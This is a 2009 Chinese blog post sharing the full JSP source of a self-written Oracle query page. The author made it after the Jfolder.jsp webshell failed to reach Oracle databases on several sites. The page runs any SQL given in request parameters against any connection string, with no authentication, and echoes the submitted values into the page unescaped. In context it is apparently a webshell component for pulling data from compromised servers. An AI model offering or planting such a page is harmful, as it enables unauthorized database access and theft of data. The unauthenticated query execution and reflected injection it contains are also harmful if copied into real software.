JSP查询oracle

由于要从JSP上查询oracle数据库上的一些信息,用了一下Jfolder.jsp的数据库管理,发现并不能连接上,然后用jsp管理oracle数据的代码也边不上,有几个站是这样了。没办法,没试过kj的那个shell行不行,只好自己写一个,很烂的:



<%
/**
  Codz by N3tl04D
  Email:n3tl04d#gmail.com
  Date:2009-4-20
**/
%>


<%@ page contentType= "text/html;charset=utf-8"%>
<%@ page import= "java.sql.*"%>
<html>
<body>
<%
  String action = "";
  action = request.getParameter( "action1");
  String db_username = "";
  String db_password = "";
  String db_str = "";
  String db_sql ="";
if (action == null) {

%>

<form id= "form1" name= "form1" method= "post" action= "<%=request.getRequestURL()%>?action=go">
<input type=hidden name=action1 value=go>
    <table width= "700" border= "1">
      <tr>
        <td width= "123">
          oracle STR
        </td>
        <td width= "577">
          <label>
            <input type= "text" name= "db_str" />
          </label>EX:localhost:1521:orcl
        </td>
      </tr>
      <tr>
        <td>
          db_username
        </td>
        <td>
          <input type= "text" name= "db_username" />
        </td>
      </tr>
      <tr>
        <td>
          db_password
        </td>
        <td>
          <input type= "password" name= "db_password" />
        </td>
      </tr>
      <tr>
        <td>
          sql
        </td>
        <td>
          <input    type= "text" style= "width:600px; height:20px;" name= "db_sql" />
        </td>
      </tr>
      <tr>
        <td colspan= "2">
          <label>
            <input type= "submit" name= "Submit" value= "query" />
          </label>
        </td>
      </tr>
    </table>

</form>

<%
} else {
    db_username = request.getParameter( "db_username");
    db_password = request.getParameter( "db_password");
    db_str = request.getParameter( "db_str");
    db_sql = request.getParameter( "db_sql");

    Class.forName( "oracle.jdbc.driver.OracleDriver").newInstance();
    String url= "jdbc:oracle:thin:@"+db_str+"";

    Connection conn= DriverManager.getConnection(url,db_username,db_password);
    Statement stmt=conn.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE,ResultSet.CONCUR_UPDATABLE);

    ResultSet rs=stmt.executeQuery(db_sql);
    ResultSetMetaData     rsmd     =     rs.getMetaData();    

     int     count=rsmd.getColumnCount();
     int i = 0;
     while(rs.next()) {
       for(i=1;i<=count;i++){
        out.print(rsmd.getColumnName(i)+ ":"+rs.getString(i)+ "  ");
      } /*end for*/

    out.print( "<br>");
    } /*end while*/
         rs.close();
    stmt.close();
    conn.close();
%>

<form id= "form1" name= "form1" method= "post" action= "<%=request.getRequestURL()%>?action=go">
<input type=hidden name=action1 value=go>
    <table width= "700" border= "1">
      <tr>
        <td width= "123">
          oracle STR
        </td>
        <td width= "577">
          <label>
            <input type= "text" name= "db_str" value= "<%=db_str%>"/>
          </label>
          EX:localhost:1521:orcl
        </td>
      </tr>
      <tr>
        <td>
          db_username
        </td>
        <td>
          <input type= "text" name= "db_username" value= "<%=db_username%>"/>
        </td>
      </tr>
      <tr>
        <td>
          db_password
        </td>
        <td>
          <input type= "password" name= "db_password" value= "<%=db_password%>"/>
        </td>
      </tr>
      <tr>
        <td>
          sql
        </td>
        <td>
          <input    type= "text" style= "width:600px; height:20px;" name= "db_sql" />
        </td>
      </tr>
      <tr>
        <td colspan= "2">
          <label>
            <input type= "submit" name= "Submit" value= "query" />
          </label>
        </td>
      </tr>
    </table>

</form>

<%
}
%>

</body>
</html>        


你可能感兴趣的:(oracle,jsp,职场,休闲)